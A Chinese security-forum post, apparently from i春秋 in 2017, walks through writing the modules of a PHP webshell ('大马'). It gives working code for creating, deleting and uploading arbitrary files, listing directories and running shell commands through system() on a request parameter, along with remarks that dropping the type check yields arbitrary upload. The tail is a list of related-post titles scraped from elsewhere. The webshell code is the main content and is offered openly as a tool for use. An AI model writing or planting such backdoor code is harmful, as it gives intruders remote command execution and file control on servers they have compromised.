本帖最后由 xoanHn 于 2017-11-13 11:56 编辑

带你走进php大马的结构模块编写之路

本文原创作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn 。

本文属i春秋原创奖励计划,未经许可禁止转载

大家好,我又来了,这次我又写了php大马的模块编写(文件的创建、文件的删除、目录浏览、文件上传、命令执行、文件打包等)。

timg.jpg (142.63 KB, 下载次数: 84)

2017-11-11 14:56 上传

第一部分:前沿综述

本次我主要写了【文件的创建】、【文件的删除】、【文件的上传】、【目录浏览】、【命令执行】小模块,以及【组合的目录浏览和文件删除功能】的模块:

image001.png (33.93 KB, 下载次数: 76)

2017-11-11 01:12 上传

实验环境:

系统环境:winserver 12 r2 datacenter

脚本运行环境:PHP  version7.0.24

第二部分:代码编写讲解

【文件创建】

作者是借助form表单值传递,以及使用fopen和fwrite进行创建文件的。

具体的研究过程,我们结合代码来说明:

Filename:

这里我们是使用input标签,设定name值(这个,我们后面的php脚本中需要使用的,需要记住):

image003.png (25.91 KB, 下载次数: 91)

2017-11-11 01:12 上传

我的代码如下,大家请指导:

File_content:

这里我们是接受form表单传递你要写的文件内容,有想深入的表格,可以对内容的写入上做出一些编码解码等的操作

这里是提交按钮

error_reporting(0);

//这里我们设置了错误等级为0

$filename=$_REQUEST['file'];

//这里接受我们的文件名字

$file_content=$_REQUEST['file_content'];

//这里接受我们的文件内容

$myfile =fopen($filename, "a") ;

//这里打开你事先设定的文件,如果没有会创建一个新的(由写入属性a a+ w w+ r r+ ab ab+等控制)

fwrite($myfile,$file_content);

//这里执行fwrite函数写入内容

fclose($myfile);

//关闭写入的文件

?>

image005.png (108.49 KB, 下载次数: 67)

2017-11-11 01:12 上传

【文件删除】

下面是我们的删除文件代码,依然是借助了form表单,这样主要是为了操作起来方便,不用form表单也可以操作,只是比较麻烦(get或者post请求等)

代码如下:

image007.png (21.76 KB, 下载次数: 90)

2017-11-11 01:12 上传

Filename:

form表单的意思同上述我们阐述的意思,不再介绍,不懂的同学,可以下方留言给我,第一时间必回复

error_reporting(0);

//删除文件

$delfile=$_REQUEST['delfile'];

if(!isset($delfile)){

exit;//判断是否设定了delfile

}

else{

if (!unlink($delfile))

{

echo ("Error delete $delfile");

//如果没有权限等其他原因文件未删除时候的信息

}

else

{

echo ("Deleted $file");

//删除成功的返回

}

}

/*

使用方法:finame中输入1.txt 表示当前文件夹下的文件,可以输入指定文件夹中的文件如:/upload/1.txt ,即可。

删除成功的话:返回Deleted fiel 失败的话返回ErrorDelete。。。

*/

?>

image009.png (70.1 KB, 下载次数: 71)

2017-11-11 01:12 上传

【文件上传】

文件的上传,这个是大家应该比较多见的了,文件类型的限制啦、存储等(如果作大马的话,当然是任意文件上传啦),不再详细的解释直接展示一下代码,如果大家有什么不懂之处也可以在下方留言给我:

image011.png (27.35 KB, 下载次数: 76)

2017-11-11 01:12 上传

image013.png (92.52 KB, 下载次数: 74)

2017-11-11 01:12 上传

代码如下:

Upload file

error_reporting(0);

//设置允许上传的mime类型,直接删除下面一段代码的话,则是任意文件上传

if ((($_FILES["file"]["type"] == "image/gif")

|| ($_FILES["file"]["type"] == "text/plain")

|| ($_FILES["file"]["type"] == "application/octet-stream")))

{

if ($_FILES["file"]["error"] > 0)

{

echo "Return Code: " . $_FILES["file"]["error"] . "
";

}

else

{

echo "Upload: " . $_FILES["file"]["name"] . "
";//获取文件名称

echo "Type: " . $_FILES["file"]["type"] . "
"; //获取文件类型

echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";//获取文件大小

echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";//文件上传时的暂存目录

//判断文件是否已经存在

if (file_exists("upload/" . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"] . " already exists. ";

}

else

{

//从缓存目录move文件到要上传的目录

move_uploaded_file($_FILES["file"]["tmp_name"],

"upload/" . $_FILES["file"]["name"]);

echo "Stored in: " . "upload/" . $_FILES["file"]["name"];

}

}

}

else

{

exit;

}

?>

【目录浏览】

文件的浏览,我还没有仔细的研究,有深入研究的朋友,可以在下方回复代码哇,一起进(fei)步(sheng),我的代码比较垃圾:我直接指定了要遍历的文件目录,在编写的过程中,我发现如果目录不存在的话,会直接浏览器占用资源崩溃!!!

image015.png (27.43 KB, 下载次数: 86)

2017-11-11 01:12 上传

error_reporting(0);

header("Content-type:text/html; charset=utf8");

//读取指定目录 upload

$current_dir='upload';

$dir =opendir($current_dir);

echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'
';

//echo '当前文件:',__FILE__ ,'
' ;

while(false !==($file = readdir($dir))){

if($file != "." &&$file !=".."){

echo"

$file";

}

}

closedir($dir);

?>

此外,参考了别人的dir()函数和getcwd(),觉得挺不错的,可以结合使用,大家可以改造一下。

$d =dir(getcwd());

echo "Handle:" . $d->handle . "
";

echo "Path:" . $d->path . "
";

while (($file =$d->read()) !== false){

echo "filename: " . $file ."
";

}

$d->close();

?>

【命令执行】

命令执行,这是一个好玩的东西,php给了我们一些直接可以执行系统命令的函数: exec()、passthru()、system()、 shell_exec() 还有一个神奇的:反引号。

反引号,听起来尬不?

我的研究是使用system进行执行命令的,然后结合form表单进行值传递,主要还是为了表单的美观:

image017.png (21.1 KB, 下载次数: 85)

2017-11-11 01:12 上传

代码如下:

Command:

error_reporting(0);

$exec = $_REQUEST['exec']; //接收form表单传递过来的命令

system($exec);//可以替换为其他的执行函数

?>

【组合的目录浏览和文件删除功能】

本小节是为了抛砖引玉,整体的变幻构造组合等,需要大家共同努力,直接展示一下代码:

image019.png (30.08 KB, 下载次数: 68)

2017-11-11 01:12 上传

image021.png (58.43 KB, 下载次数: 77)

2017-11-11 01:12 上传

代码如下:

error_reporting(0);

header("Content-type: text/html; charset=utf8");

//读取指定目录 upload

$current_dir ='upload';

$dir = opendir($current_dir);

echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'
';

//echo '当前文件:',__FILE__ ,'
' ;

while(false !== ($file = readdir($dir))){

if($file != "." && $file !=".."){

echo "

$file";

}

}

closedir($dir);

?>

Filename:

//删除文件

$delfile=$_REQUEST['delfile'];

if(!isset($delfile)){

exit;

}

else{

if (!unlink($delfile))

{

echo ("Error deleting $delfile");

}

else

{

echo ("Deleted $file");

}

}

?>

第三部分:文章总结

本次研究是继双十一之夜,睡不着觉,就来发了一篇文章,希望得到大家的指导,路过请留言,一带一路。

ichunqiu.zip

(4.21 KB, 下载次数: 42, 售价: 5 魔法币)

2017-11-11 01:16 上传

点击文件名下载附件

文件下载

售价: 5 魔法币 [记录]

下载积分: 魔法币 -5

timg (1).jpg (66.05 KB, 下载次数: 82)

2017-11-11 14:59 上传

如何写php大马,带你走进php大马的结构模块编写之路相关推荐

  1. php大马编写,带你走进php大马的结构模块编写之路

    本帖最后由 xoanHn 于 2017-11-13 11:56 编辑 带你走进php大马的结构模块编写之路 本文原创作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn . ...

  2. 十三、写了两年多Python文章的我,带你走进Python数据分析

    @Author : By Runsen @Date : 2020/5/13 作者介绍:Runsen目前大三下学期,专业化学工程与工艺,大学沉迷日语,Python, Java和一系列数据分析软件.导致翘 ...

  3. 计算机科学与技术与cs,CSgo! | 遇见CS—带你走进传说中的计算机专业

    原标题:CSgo! | 遇见CS-带你走进传说中的计算机专业 遇见CS 带你走进传说中的计算机专业 首先恭喜各位小萌新进入华中科技大学计算机科学与技术学院,在这里大家将度过四年难忘的大学时光. 相信大 ...

  4. 【密码学】一万字带您走进密码学的世界(下)

    引文 密码学是研究编制密码和破译密码的技术科学.研究密码变化的客观规律,应用于编制密码以保守通信秘密的,称为编码学:应用于破译密码以获取通信情报的,称为破译学,总称密码学. 在<一万字带您走进密 ...

  5. 大白话5分钟带你走进人工智能-第二十节逻辑回归和Softmax多分类问题(5)

                                                        大白话5分钟带你走进人工智能-第二十节逻辑回归和Softmax多分类问题(5) 上一节中,我们讲 ...

  6. 孩子对不起,是我们带你们走进了地狱

    "三种颜色"事件不说了.这是普通人和另一群人之间的战争,这事不能就这么过去. 在这之前,我们先来谈谈<熔炉>这部伟大而沉重的电影.故事讲述了一家听障学校,校长.教导主任 ...

  7. 图文笔记,带你走进《未来简史》(16-20)

    作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 知识给当代人安全感!<未来简史>笔记16 昨天提到:不断追求增长的现代契约 ...

  8. 图文笔记,带你走进《未来简史》(26-30)

    作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 艺术也将被算法取代<未来简史>笔记26 大家早!今天我们来聊一下:艺术领域 ...

  9. 5分钟带你走进webpack

    5分钟带你走进webpack webpack 开始表演(哇卡卡) React & Webpack 布置项目 初始化项目 安装我们的环境 添加TypeScript配置文件 写一些代码 创建一个w ...

  10. 图文笔记,带你走进《未来简史》(21-25)

    作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 谁左右我们的决策?<未来简史>笔记21 大家早!昨天我们通过两个实验否定了 ...

最新文章

  1. 我也没想到,Java开发 API接口可以不用写 Controller了
  2. Python爬虫之urllib模块2
  3. vijos 1448 校门外的树 树状数组
  4. php赋值 jq,使用js和jQuery如何实现指定赋值方法
  5. php 判断 in,tinkphp常用判断条件in、notin、between、AND、OR
  6. mysql 什么是审核上线_自动审核及上线系统
  7. JSONArray.fromObject(); 引入问题
  8. 添加MSN客服代码,可显示MSN在线和不在线,自动打开MSN聊天窗口
  9. 2022-2028全球虚拟现实游戏头戴设备行业调研及趋势分析报告
  10. Pytorch | 学习笔记(二)
  11. 如何在Windows系统上制作U盘启动盘?
  12. 用windows搭建ntp时间服务器(从上级获取时间,并为客户机提供时间)
  13. 推荐系统详解(三)近邻推荐
  14. 深度学习实战06-循环神经网络(RNN)实现股票预测
  15. 桌面计算机里没有桌面,老司机教你电脑开机桌面什么都没有怎么办
  16. 证券行业基础知识(二)
  17. guidata handles理解
  18. 操作系统调度算法--高响应比优先调度算法解析
  19. vue框架和uniapp框架区别,前端vue和uniapp哪个好用
  20. word该值小于列表中的前一条目_Word域的应和详解.doc

热门文章

  1. xShell 5外观(背景、文字等)设置方案
  2. matlab节约里程法_基于节约里程法的物流配送路线优化
  3. VSTO 实现word的多级列表功能
  4. 计算机网络 复习提纲(完整版)
  5. 进销存excel_干货分享,上班族必看。EXCEL轻松搞定制作进销存报表
  6. 进销存excel_excel进销存仓库表格同步手机操作
  7. High Score
  8. python爬取音乐下载_Python爬取全抖音好听背景音乐,一次性下载
  9. 并发网站压力测试工具
  10. MAC终端命令颜色设置